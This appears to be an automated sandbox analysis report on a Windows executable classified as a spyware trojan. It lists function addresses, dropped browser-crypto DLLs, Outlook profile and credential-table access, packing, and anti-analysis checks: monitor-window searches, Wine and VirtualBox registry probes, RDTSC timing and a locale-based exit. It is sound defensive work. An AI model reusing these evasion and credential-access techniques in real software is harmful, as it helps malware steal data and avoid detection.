Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE6C80	1_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB16CF0	1_2_6CB16CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADD4E0	1_2_6CADD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE64C0	1_2_6CAE64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFD4D0	1_2_6CAFD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4542B	1_2_6CB4542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB15C10	1_2_6CB15C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB22C10	1_2_6CB22C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4AC00	1_2_6CB4AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4545C	1_2_6CB4545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE5440	1_2_6CAE5440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB385F0	1_2_6CB385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB10DD0	1_2_6CB10DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB00512	1_2_6CB00512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEFD00	1_2_6CAEFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFED10	1_2_6CAFED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB34EA0	1_2_6CB34EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3E680	1_2_6CB3E680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF5E90	1_2_6CAF5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB476E3	1_2_6CB476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADBEF0	1_2_6CADBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEFEF0	1_2_6CAEFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB39E30	1_2_6CB39E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB17E10	1_2_6CB17E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB25600	1_2_6CB25600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB46E63	1_2_6CB46E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADC670	1_2_6CADC670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB13E50	1_2_6CB13E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF4640	1_2_6CAF4640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB22E4E	1_2_6CB22E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF9E50	1_2_6CAF9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB277A0	1_2_6CB277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB06FF0	1_2_6CB06FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADDFE0	1_2_6CADDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB17710	1_2_6CB17710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE9F00	1_2_6CAE9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB060A0	1_2_6CB060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFC0E0	1_2_6CAFC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB158E0	1_2_6CB158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB450C7	1_2_6CB450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1B820	1_2_6CB1B820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB24820	1_2_6CB24820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE7810	1_2_6CAE7810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1F070	1_2_6CB1F070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF8850	1_2_6CAF8850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFD850	1_2_6CAFD850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0D9B0	1_2_6CB0D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADC9A0	1_2_6CADC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB15190	1_2_6CB15190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB32990	1_2_6CB32990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2B970	1_2_6CB2B970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4B170	1_2_6CB4B170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAED960	1_2_6CAED960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFA940	1_2_6CAFA940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB42AB0	1_2_6CB42AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD22A0	1_2_6CAD22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB04AA0	1_2_6CB04AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAECAB0	1_2_6CAECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4BA90	1_2_6CB4BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1E2F0	1_2_6CB1E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF1AF0	1_2_6CAF1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB18AC0	1_2_6CB18AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB19A60	1_2_6CB19A60

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB194D0 appears 61 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB0CBE8 appears 126 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00E245C0 appears 316 times

Source: file.exe, 00000001.00000002.2442656722.000000006CD55000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jdhhxrnm ZLIB complexity 0.9947990219465649

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.2139807080.0000000005360000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6CB37030

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E38680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_00E38680

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E33720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

1_2_00E33720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\EKH34UF6.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.2261043036.000000001D9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2277122771.000000001D9DF000.00000004.00000020.00020000.00000000.sdmp, ECBGCGCGIEGCBFHIIEBF.1.dr, HCAAEGIJKEGHIDGCBAEB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2441782471.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1832960 > 1048576

Source: file.exe

Static PE information: Raw size of jdhhxrnm is bigger than: 0x100000 < 0x199600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2442542963.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.e20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jdhhxrnm:EW;yddexcxr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jdhhxrnm:EW;yddexcxr:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E39860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00E39860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c17f9 should be: 0x1c5c0a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jdhhxrnm
Source: file.exe	Static PE information: section name: yddexcxr
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0128D933 push eax; mov dword ptr [esp], edx	1_2_0128D9ED
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0128D933 push 4DBD4FBAh; mov dword ptr [esp], edx	1_2_0128D9F5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0128D933 push edi; mov dword ptr [esp], 69651905h	1_2_0128D9FA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_01304117 push 0E18E9F0h; mov dword ptr [esp], ebx	1_2_01304180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_012F011E push 0C5F6161h; mov dword ptr [esp], ecx	1_2_012F015E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_012E0916 push eax; mov dword ptr [esp], 72EA0642h	1_2_012E0920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0121A91F push ebx; mov dword ptr [esp], 4EFD271Dh	1_2_0121A941
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push ebx; mov dword ptr [esp], esp	1_2_011F3167
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 7C4220C5h; mov dword ptr [esp], esi	1_2_011F31A9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push esi; mov dword ptr [esp], ebx	1_2_011F3322
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 093FC341h; mov dword ptr [esp], eax	1_2_011F333E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push edi; mov dword ptr [esp], eax	1_2_011F33A3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 58EFF9D5h; mov dword ptr [esp], ecx	1_2_011F33D5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 14874769h; mov dword ptr [esp], edx	1_2_011F341E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push edx; mov dword ptr [esp], eax	1_2_011F3553
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 6FD8E92Bh; mov dword ptr [esp], edi	1_2_011F356D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 28EC3573h; mov dword ptr [esp], esi	1_2_011F3577
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 35D56D9Ah; mov dword ptr [esp], eax	1_2_011F35BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 2465E61Ch; mov dword ptr [esp], edx	1_2_011F35E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push esi; mov dword ptr [esp], ecx	1_2_011F3693
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 29F62234h; mov dword ptr [esp], ebx	1_2_011F369B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 3A467B14h; mov dword ptr [esp], edx	1_2_011F373A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push ecx; mov dword ptr [esp], 7B2D4CDAh	1_2_011F3834
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 1615B489h; mov dword ptr [esp], edx	1_2_011F3884
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 2384FE33h; mov dword ptr [esp], edx	1_2_011F38A9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push edx; mov dword ptr [esp], 7DF2028Bh	1_2_011F38B5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push ebp; mov dword ptr [esp], eax	1_2_011F395C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 4090DEE1h; mov dword ptr [esp], eax	1_2_011F396E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push esi; mov dword ptr [esp], 7B4C2CACh	1_2_011F3997
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push ebx; mov dword ptr [esp], ebp	1_2_011F39B3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150 push 1F9DA200h; mov dword ptr [esp], edx	1_2_011F39BB

Source: file.exe

Static PE information: section name: jdhhxrnm entropy: 7.953066161782013

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

1_2_00E39860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-53673

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F8E08 second address: 11F8E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E217F second address: 11E2185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2185 second address: 11E218B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
